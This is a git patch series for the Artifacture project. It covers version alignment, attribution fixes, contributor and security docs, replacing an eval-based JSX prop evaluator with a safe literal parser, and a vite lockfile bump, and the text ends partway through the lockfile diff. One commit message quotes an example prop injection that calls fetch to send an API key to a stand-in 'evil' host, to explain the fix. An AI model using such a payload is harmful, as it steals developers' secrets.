From 3e6151ec06a73b56849c1e0376580d4b82793956 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:10:08 -0700 Subject: [PATCH 01/34] Align version to 0.7.0 across package.json and CHANGELOG Four version sources disagreed (package.json/CHANGELOG said 0.6.3, plugin manifests/SKILL.md said 0.7.0). Add the missing 0.7.0 CHANGELOG entry for the Artifacture rename and MDX/React pipeline release. --- CHANGELOG.md | 9 +++++++++ package.json | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 73c5071..b8deaa3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,14 @@ # Changelog +## [0.7.0] - 2026-07-04 + +### Changed +- Renamed to Artifacture; published as a standalone repo (github.com/theclaymethod/artifacture). +- MDX/React source-first pipeline with 17 shared components and build-time Shiki. +- ve-verify: 207-check deterministic design gate with seeded-violation eval suite. +- Multi-model eval harness (evals/model-matrix) with blind acuity judging. +- Tiered agent docs: SKILL.md + per-flow cards. + ## [0.6.3] - 2026-03-09 ### Documentation diff --git a/package.json b/package.json index 3b437e6..84170e3 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "artifacture", - "version": "0.6.3", + "version": "0.7.0", "description": "Agent skill that generates verified, self-contained HTML visual explainers from MDX/React sources — with a deterministic design-quality verifier and a multi-model eval harness", "keywords": [ "claude-code-plugin", From 581f385daa3b0c41b9127408bead7026310bf1dc Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:10:13 -0700 Subject: [PATCH 02/34] Fix marketplace manifest attribution and repository routing The root marketplace.json plugin entry attributed the plugin to the upstream author (nicobailon) and linked the upstream repo, routing marketplace users' trust and issues to the wrong project. Point it at Clayton Kim / theclaymethod/artifacture, matching plugin.json. --- .claude-plugin/marketplace.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 6618bf7..c5f264e 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -15,9 +15,9 @@ "description": "Generate beautiful HTML pages for diagrams, diff reviews, plan reviews, slides, and data tables", "version": "0.7.0", "author": { - "name": "nicobailon" + "name": "Clayton Kim" }, - "repository": "https://github.com/nicobailon/visual-explainer", + "repository": "https://github.com/theclaymethod/artifacture", "license": "MIT", "keywords": [ "diagrams", From 6e6992cc9a0bf40873720509a8c1735b2fbc885c Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:10:17 -0700 Subject: [PATCH 03/34] Reword machine-specific notes in verify spec/contract as design intent "NEVER use npm/npx (broken on this machine)" was a session-specific note that leaked into public spec docs as a normative rule. Restate both lines to describe the actual design intent: the verifier avoids an npm/npx runtime dependency so it works in minimal agent environments, not because npm was broken on one machine. --- plugins/visual-explainer/scripts/verify/CONTRACT.md | 2 +- plugins/visual-explainer/scripts/verify/SPEC.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/visual-explainer/scripts/verify/CONTRACT.md b/plugins/visual-explainer/scripts/verify/CONTRACT.md index 0a7f988..2eb6de8 100644 --- a/plugins/visual-explainer/scripts/verify/CONTRACT.md +++ b/plugins/visual-explainer/scripts/verify/CONTRACT.md @@ -2,7 +2,7 @@ All implementation runs code against this contract. Do not change exported names/shapes. Plain JS (ESM, `.mjs`), Node 22. NO TypeScript syntax. NO npm/npx invocations anywhere -(broken on this machine) — direct `node` + imports only. +(by design, so it runs with no package-manager dependency) — direct `node` + imports only. ## Dependencies diff --git a/plugins/visual-explainer/scripts/verify/SPEC.md b/plugins/visual-explainer/scripts/verify/SPEC.md index a9e67e7..b4cf08e 100644 --- a/plugins/visual-explainer/scripts/verify/SPEC.md +++ b/plugins/visual-explainer/scripts/verify/SPEC.md @@ -39,7 +39,7 @@ node plugins/visual-explainer/scripts/verify/ve-verify.mjs \ ``` - Exit 0 = no errors (warns allowed). Exit 1 = ≥1 error-severity failure. Exit 2 = engine crash. -- NEVER use npm/npx (broken on this machine): direct `node` + `import('playwright-core')`. +- The verifier runs via bare `node` with direct `import('playwright-core')` — no npm/npx at runtime, so it works in minimal agent environments. - playwright-core + linkedom added to package.json devDependencies (pin what's in node_modules: playwright-core 1.60.0). - Browser stage matrix: {1440×900, 390×844} × {light, dark} → 4 runs; screenshots saved as `/-.png` + full-page variants. Console messages + failed requests From 4749ba53ce56b681248aa3688dc79f8b2134ede7 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:11:46 -0700 Subject: [PATCH 04/34] Add contributor scaffolding: CONTRIBUTING, SECURITY, issue/PR templates The repo lacked standard contributor docs for a public project inviting PRs. CONTRIBUTING.md covers dev setup and the three "add one" recipes (check, component, preset); SECURITY.md sets up private disclosure via GitHub Security Advisories; bug.yml and the PR template give contributors a minimal, enforceable checklist. --- .github/ISSUE_TEMPLATE/bug.yml | 33 +++++++++++++++++++++ .github/pull_request_template.md | 10 +++++++ CONTRIBUTING.md | 50 ++++++++++++++++++++++++++++++++ SECURITY.md | 14 +++++++++ 4 files changed, 107 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug.yml create mode 100644 .github/pull_request_template.md create mode 100644 CONTRIBUTING.md create mode 100644 SECURITY.md diff --git a/.github/ISSUE_TEMPLATE/bug.yml b/.github/ISSUE_TEMPLATE/bug.yml new file mode 100644 index 0000000..17eeed2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug.yml @@ -0,0 +1,33 @@ +name: Bug report +description: Report a problem with Artifacture +labels: ["bug"] +body: + - type: textarea + id: what-happened + attributes: + label: What happened + description: What did you expect, and what did you get instead? + validations: + required: true + - type: input + id: command + attributes: + label: Exact command + description: The exact command you ran (e.g. `npm run ve:export -- ...`). + placeholder: npm run ve:export -- src/diagram.mdx --out out.html + validations: + required: true + - type: checkboxes + id: attachment + attributes: + label: Attachment + options: + - label: I attached the generated artifact and/or MDX/TSX source that reproduces this. + - type: textarea + id: envinfo + attributes: + label: Environment + description: Output of `npx envinfo --system --binaries --npmPackages artifacture`. + render: shell + validations: + required: true diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..14cc9b7 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,10 @@ +## Checklist + +- [ ] `npm run ve:check` passes. +- [ ] `npm run ve:eval` passes. +- [ ] If this PR adds a check, I added a seeded violation fixture and an + `evals/expectations.json` entry for it. +- [ ] If this PR adds a component, I updated `SKILL.md` and the + `sharedComponents` set in `scripts/ve-mdx/integrity.mjs`. + +## What does this change and why? diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..67a96ea --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,50 @@ +# Contributing + +## Dev setup + +- Node >= 22. +- `npm ci` +- `npx playwright install chromium`. The verifier's browser stage uses + `playwright-core`, which never downloads browsers itself. +- `npm run ve:eval`. If it exits green, your environment is working. + +## Adding a check + +`ve-verify` is a deterministic design-quality gate driven by +`plugins/visual-explainer/scripts/verify/checks.json` (a list of check +objects with `id`, `family`, `severity`, `spec`, etc.). To add one: + +1. Add an entry to `checks.json` with a unique `id`. +2. Implement the check logic wherever the matching stage/family lives in + `plugins/visual-explainer/scripts/verify/`. +3. Add a seeded violation fixture at + `evals/fixtures/violations/.html` that trips the new check and + nothing else. +4. Add the fixture's expected result to `evals/expectations.json`. +5. Run `npm run ve:eval` and confirm the new fixture is caught. + +## Adding a shared component + +1. Export the component from `visual-explainer-mdx/components.tsx`. +2. Add its name to the `sharedComponents` set in + `scripts/ve-mdx/integrity.mjs:4-22` (strict-export integrity checks + against this list). +3. Add it to the component list in `plugins/visual-explainer/SKILL.md`. +4. Run `npm run ve:check` to confirm export integrity holds. + +## Adding a preset + +Presets are semantic-token layers in `visual-explainer-mdx/global.css`, +selected via `data-ve-preset=""` on the root. Add a new +`[data-ve-preset=""] { ... }` block that sets the same semantic +tokens the existing presets set (mono-industrial, nothing, blueprint, +editorial, paper-ink, terminal, custom) — don't introduce new token names. + +## Before you open a PR + +- `npm run ve:check` must pass. +- `npm run ve:eval` must pass. +- If you touched or generated an HTML artifact, run the verifier on it + (`node plugins/visual-explainer/scripts/verify/ve-verify.mjs `) + and fix any error-severity failures. +- Follow the checklist in the PR template. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..7decac6 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,14 @@ +# Security Policy + +## Reporting a vulnerability + +Report vulnerabilities privately through GitHub Security Advisories on +[theclaymethod/artifacture](https://github.com/theclaymethod/artifacture/security/advisories/new). +Do not open a public issue for security reports. + +Include what you found, how to reproduce it, and the affected version. + +## What to expect + +There is no bounty program. We ask for a 90-day disclosure courtesy window +before any public write-up, so a fix can ship first. From ed4f5c444f491ce1eaef439f884644a54d77f003 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:12:21 -0700 Subject: [PATCH 05/34] integrity: replace Function()-eval with a safe literal parser MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The export preflight evaluated JSX prop expressions with Function(), which executes arbitrary JavaScript for any expression passing a starts-with check ([, {, backtick, quote) — trivially satisfied by e.g. nodes={[fetch('https://evil/?k='+process.env.OPENROUTER_API_KEY)]}. evaluateLiteral now uses a bounded recursive-descent parser that accepts only object/array literals, strings (single/double/backtick without template interpolation), numbers, booleans, null, and nesting thereof. Anything else (identifiers, calls, spreads, arrow functions, ${} interpolation) is rejected with the same "could not evaluate literal props" diagnostic shape callers already expect. isLiteralExpression stays as a cheap pre-filter; the parser is now the actual security boundary. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- scripts/ve-mdx/integrity.mjs | 202 ++++++++++++++++++++++++++++++++++- 1 file changed, 201 insertions(+), 1 deletion(-) diff --git a/scripts/ve-mdx/integrity.mjs b/scripts/ve-mdx/integrity.mjs index a3279ef..42a2f22 100644 --- a/scripts/ve-mdx/integrity.mjs +++ b/scripts/ve-mdx/integrity.mjs @@ -307,9 +307,21 @@ function findBalanced(input, start, open, close) { return -1; } +// evaluateLiteral parses a JSX prop expression as a bounded literal — it never +// executes source. Only object/array literals, strings (single/double/ +// backtick without `${` interpolation), numbers, booleans, and null are +// accepted; anything else (identifiers, calls, spreads, arrow functions, +// template interpolation) is rejected with the same diagnostic shape the +// previous eval-based evaluator produced. function evaluateLiteral(expr, file, label, diagnostics) { try { - return Function(`"use strict"; return (${expr});`)(); + const state = { input: expr, pos: 0 }; + const value = parseLiteralValue(state); + skipLiteralWhitespace(state); + if (state.pos !== state.input.length) { + throw new Error(`non-literal expression: unexpected trailing content at position ${state.pos}`); + } + return value; } catch (cause) { diagnostics.push(error(file, label, `could not evaluate literal props: ${cause instanceof Error ? cause.message : cause}`)); return null; @@ -321,6 +333,194 @@ function isLiteralExpression(expr) { return trimmed.startsWith('[') || trimmed.startsWith('{') || trimmed.startsWith('`') || trimmed.startsWith('"') || trimmed.startsWith("'"); } +function skipLiteralWhitespace(state) { + while (state.pos < state.input.length && /\s/.test(state.input[state.pos])) state.pos += 1; +} + +function literalPeek(state) { + return state.input[state.pos]; +} + +function literalExpect(state, char) { + if (state.input[state.pos] !== char) { + throw new Error(`non-literal expression: expected "${char}" at position ${state.pos}, got "${state.input[state.pos] ?? 'EOF'}"`); + } + state.pos += 1; +} + +function parseLiteralValue(state) { + skipLiteralWhitespace(state); + const char = literalPeek(state); + if (char === '{') return parseLiteralObject(state); + if (char === '[') return parseLiteralArray(state); + if (char === '"' || char === "'") return parseLiteralString(state, char); + if (char === '`') return parseLiteralTemplate(state); + if (char === '-' || (char >= '0' && char <= '9')) return parseLiteralNumber(state); + if (state.input.startsWith('true', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 4] ?? '')) { + state.pos += 4; + return true; + } + if (state.input.startsWith('false', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 5] ?? '')) { + state.pos += 5; + return false; + } + if (state.input.startsWith('null', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 4] ?? '')) { + state.pos += 4; + return null; + } + if (state.input.startsWith('undefined', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 9] ?? '')) { + state.pos += 9; + return undefined; + } + throw new Error(`non-literal expression at position ${state.pos}`); +} + +function parseLiteralObject(state) { + literalExpect(state, '{'); + const obj = {}; + skipLiteralWhitespace(state); + if (literalPeek(state) === '}') { + state.pos += 1; + return obj; + } + for (;;) { + skipLiteralWhitespace(state); + if (state.input.startsWith('...', state.pos)) { + throw new Error(`non-literal expression: spread syntax is not allowed at position ${state.pos}`); + } + const key = parseLiteralObjectKey(state); + skipLiteralWhitespace(state); + literalExpect(state, ':'); + obj[key] = parseLiteralValue(state); + skipLiteralWhitespace(state); + if (literalPeek(state) === ',') { + state.pos += 1; + skipLiteralWhitespace(state); + if (literalPeek(state) === '}') { + state.pos += 1; + break; + } + continue; + } + literalExpect(state, '}'); + break; + } + return obj; +} + +function parseLiteralObjectKey(state) { + const char = literalPeek(state); + if (char === '"' || char === "'") return parseLiteralString(state, char); + if (char === '[') { + throw new Error(`non-literal expression: computed object keys are not allowed at position ${state.pos}`); + } + const match = /^[A-Za-z_$][A-Za-z0-9_$]*/.exec(state.input.slice(state.pos)); + if (!match) throw new Error(`non-literal expression: expected object key at position ${state.pos}`); + state.pos += match[0].length; + return match[0]; +} + +function parseLiteralArray(state) { + literalExpect(state, '['); + const arr = []; + skipLiteralWhitespace(state); + if (literalPeek(state) === ']') { + state.pos += 1; + return arr; + } + for (;;) { + skipLiteralWhitespace(state); + if (state.input.startsWith('...', state.pos)) { + throw new Error(`non-literal expression: spread syntax is not allowed at position ${state.pos}`); + } + arr.push(parseLiteralValue(state)); + skipLiteralWhitespace(state); + if (literalPeek(state) === ',') { + state.pos += 1; + skipLiteralWhitespace(state); + if (literalPeek(state) === ']') { + state.pos += 1; + break; + } + continue; + } + literalExpect(state, ']'); + break; + } + return arr; +} + +function parseLiteralString(state, quote) { + literalExpect(state, quote); + let result = ''; + for (;;) { + if (state.pos >= state.input.length) throw new Error('non-literal expression: unterminated string literal'); + const char = state.input[state.pos]; + if (char === quote) { + state.pos += 1; + break; + } + if (char === '\\') { + state.pos += 1; + result += unescapeLiteralChar(state); + continue; + } + result += char; + state.pos += 1; + } + return result; +} + +function parseLiteralTemplate(state) { + literalExpect(state, '`'); + let result = ''; + for (;;) { + if (state.pos >= state.input.length) throw new Error('non-literal expression: unterminated template literal'); + const char = state.input[state.pos]; + if (char === '`') { + state.pos += 1; + break; + } + if (char === '$' && state.input[state.pos + 1] === '{') { + throw new Error(`non-literal expression: template literal interpolation is not allowed at position ${state.pos}`); + } + if (char === '\\') { + state.pos += 1; + result += unescapeLiteralChar(state); + continue; + } + result += char; + state.pos += 1; + } + return result; +} + +function unescapeLiteralChar(state) { + const esc = state.input[state.pos]; + state.pos += 1; + switch (esc) { + case 'n': return '\n'; + case 't': return '\t'; + case 'r': return '\r'; + case 'b': return '\b'; + case 'f': return '\f'; + case '0': return '\0'; + case "'": return "'"; + case '"': return '"'; + case '`': return '`'; + case '\\': return '\\'; + case '\n': return ''; + default: return esc; + } +} + +function parseLiteralNumber(state) { + const match = /^-?\d+(\.\d+)?([eE][+-]?\d+)?/.exec(state.input.slice(state.pos)); + if (!match) throw new Error(`non-literal expression: invalid number at position ${state.pos}`); + state.pos += match[0].length; + return Number(match[0]); +} + function checkDiagramClip(nodes, forcedViewBox) { if (!Array.isArray(forcedViewBox)) return []; const [x, y, width, height] = forcedViewBox.map(Number); From 5949b8e5261cee8a59b20b2ae7b26f99b5fdac2c Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:12:47 -0700 Subject: [PATCH 06/34] Patch vite advisory via npm audit fix MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit GHSA-fx2h-pf6j-xcff (server.fs.deny bypass on Windows) and its bundled launch-editor advisory GHSA-v6wh-96g9-6wx3 affected vite 8.0.0-8.0.15. npm audit fix bumped vite to 8.1.3 within the existing ^8.0.12 range — package.json is unchanged, only the lockfile. npm audit now reports 0 vulnerabilities; ve:check still passes. --- package-lock.json | 224 +++++++++++++++++++++++----------------------- 1 file changed, 112 insertions(+), 112 deletions(-) diff --git a/package-lock.json b/package-lock.json index 1e2fff2..9e218d4 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { - "name": "visual-explainer", - "version": "0.6.3", + "name": "artifacture", + "version": "0.7.0", "lockfileVersion": 3, "requires": true, "packages": { "": { - "name": "visual-explainer", - "version": "0.6.3", + "name": "artifacture", + "version": "0.7.0", "license": "MIT", "dependencies": { "@mdx-js/rollup": "^3.1.1", @@ -26,20 +26,20 @@ } }, "node_modules/@emnapi/core": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", - "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.1.tgz", + "integrity": "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ==", "license": "MIT", "optional": true, "dependencies": { - "@emnapi/wasi-threads": "1.2.1", + "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" } }, "node_modules/@emnapi/runtime": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", - "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.1.tgz", + "integrity": "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw==", "license": "MIT", "optional": true, "dependencies": { @@ -47,9 +47,9 @@ } }, "node_modules/@emnapi/wasi-threads": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.1.tgz", - "integrity": "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.2.tgz", + "integrity": "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA==", "license": "MIT", "optional": true, "dependencies": { @@ -158,13 +158,13 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", - "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.6.tgz", + "integrity": "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg==", "license": "MIT", "optional": true, "dependencies": { - "@tybys/wasm-util": "^0.10.1" + "@tybys/wasm-util": "^0.10.3" }, "funding": { "type": "github", @@ -176,18 +176,18 @@ } }, "node_modules/@oxc-project/types": { - "version": "0.129.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.129.0.tgz", - "integrity": "sha512-3oz8m3FGdr2nDXVqmFUw7jolKliC4MoyXYIG2c7gpjBnzUWQpUGIYcXYKxTdTi+N2jusvt610ckTMkxdwHkYEg==", + "version": "0.138.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.138.0.tgz", + "integrity": "sha512-1a7ZKmrRTCoN1XMZ4L0PyyqrMnrNlLyPuOkdSX2MZg7IiIGRUyurNhAm73ptDOraoBcIordsIGKNPKUzy3ZmfA==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/Boshen" } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.0.tgz", - "integrity": "sha512-TWMZnRLMe63C2Lhyicviu7ZHaU4kxa6PS3rofvc9GmcvptzNN11BcfQ4Sl7MwTOsisQoa2keB/EBdNCAnUo8vA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.4.tgz", + "integrity": "sha512-EZLpf/8y7GXkkra90ML47kzik/GMP3EMcE9bPyHmRfxLC6z9+aW5A8poCsoxjrT5GfEcNAAvWwUHjvP1pUQkfw==", "cpu": [ "arm64" ], @@ -201,9 +201,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.0.tgz", - "integrity": "sha512-6XcD+8k0gPVItNagEw78/qqcBDwKcwDYS8V2hRmVsfUSIrd8cWe/CBvRDI5toqFyPfj+FJr6t8U6Xj2P2prEew==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.4.tgz", + "integrity": "sha512-aUi+HBvmYb7j8krl1+qJgkG8C17fO79gk3c+jPw4S8glRFc1DTija9S3EyaTSQUm5GJXYKDAsugBEhFHH2vYiQ==", "cpu": [ "arm64" ], @@ -217,9 +217,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.0.tgz", - "integrity": "sha512-iN/tWVXRQDWvmZlKdceP1Dwug9GDpEymhb9p4xnEe6zvCg5lFmzVljl+1qR1NVx3yfGpr2Na+CuLmv5IU8uzfQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.4.tgz", + "integrity": "sha512-F7hHC3gwY11+vByKPRWqwGbeXWVgKmL+pTGCinaEhdihzBV2aQ0fvZOch9cXYUOKuKKq429HeYXOqQLc7wFCEg==", "cpu": [ "x64" ], @@ -233,9 +233,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.0.tgz", - "integrity": "sha512-jjQMDvvwSOuhOwMszD/klSOjyWMM3zI64hWTj9KT5x4MxRbZAf+7vLQ6qouRhtsLVFHr3f0ILaJAfgENPiQdAQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.4.tgz", + "integrity": "sha512-sI5yw+7s92SK6odiEhD5lKCBlWcpjHS5qyqpVQbZAJ0fIzEUXrmbl3DH2ybR3PZogulNJF+COLtmA8hUfvkCCQ==", "cpu": [ "x64" ], @@ -249,9 +249,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.0.tgz", - "integrity": "sha512-d//Dtg2x6/m3mbV64yUGNnDGNZaDGRpDLLNGerHQUVObuNaIQaaDp25yUiqGXtHEXX+NP2d0wAlmKgpYgIAJ2A==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.4.tgz", + "integrity": "sha512-mCi0OKgEieFircrtVYmQAFGszRtMnZ6fpZAXrxanXAu7lqZcsK1E1RAaZNG0uKAnxox3B1f4EyQNnoyMfN1vAA==", "cpu": [ "arm" ], @@ -265,9 +265,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.0.tgz", - "integrity": "sha512-n7Ofp0mx+aB2cC+Sdy5YtMnXtY9lchnHbY+3Yt0uq9JsWQExf4f5Whu0tK0R8Jdc9S6RchTHjIFY7uc92puOVQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.4.tgz", + "integrity": "sha512-B9Ial3Kv5sh0SHnB1g/QWcUQCEvCF6QKGAl4zXypYj65mVI+B4AhFBwPtSN7pDrJeIx8Z7zdy4ntx+wQABom7w==", "cpu": [ "arm64" ], @@ -284,9 +284,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.0.tgz", - "integrity": "sha512-EIVjy2cgd7uuMMo94FVkBp7F6DhcZAUwNURkSG3RwUmvAXR6s0ISxM81U+IydcZByPG0pZIHsf1b6kTxoFDgJA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.4.tgz", + "integrity": "sha512-lZVym0PuHE1KZ22gmFTC15lAkrg9iTszR617oYRB/iPY1A56ywoJzVKOJBKaot5RiikCObmur6pogpse3gRcng==", "cpu": [ "arm64" ], @@ -303,9 +303,9 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.0.tgz", - "integrity": "sha512-JEwwOPcwTLAcpDQlqSmjEmfs63xJnSiUNIGvLcDLUHCWK4XowpS/7c7tUsUH6uT/ct6bMUTdXKfI8967FYj6mg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.4.tgz", + "integrity": "sha512-t2DNiLJWNTbnEHyUzTumldML6ET4/g16467LZoDDJ3tSxGvguL5/NyC2lCsNKuyRycg9XeDQF5SSv+TNOhQEXg==", "cpu": [ "ppc64" ], @@ -322,9 +322,9 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.0.tgz", - "integrity": "sha512-0wjCFhLrihtAubnT9iA0N++0pSV0z5Hg7tNGdNJ4RFaINceHadoF+kiFGyY1qSSNVIAZtLotG8Ju1bgDPkjnFA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.4.tgz", + "integrity": "sha512-0WIRnL1Uw4BvTZRLQt+PVgo6ZKTJadlC2btP+/EOXv2f/DWbY0rEgl+y834mIVwP1FkTlWVTrGGJXf12lru7EQ==", "cpu": [ "s390x" ], @@ -341,9 +341,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.0.tgz", - "integrity": "sha512-Dfn7iak9BcMMePxcoJfpSbWqnEyrp/dRF63/8qW/eHBdOZov6x5aShLLEYGYdIeSJ6vMLK/XCVB+lGIxm41bQA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.4.tgz", + "integrity": "sha512-JWtGshGfX+oENAKonoNkqEJX+7hC8yfhi9GUyPX1VX4mdh1y5r+ZiJLR5XzAB0aoP6s/PcILsGjKq8O0mm24bw==", "cpu": [ "x64" ], @@ -360,9 +360,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.0.tgz", - "integrity": "sha512-5/utzzDmD/pD/bmuaUcbTf/sZYy0aztwIVlfpoW1fTjCZ0BaPOMVWGZL1zvgxyi7ZIVYWlxKONHmSbHuiOh8Jw==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.4.tgz", + "integrity": "sha512-rT6yQcxUuXs4CnbofqwHRRV0iem349rLMYpTjkgQGLjrY4ado/eDzwPZPTCgTOlF6Nkp8NEv70yLMTn6qkWxsQ==", "cpu": [ "x64" ], @@ -379,9 +379,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.0.tgz", - "integrity": 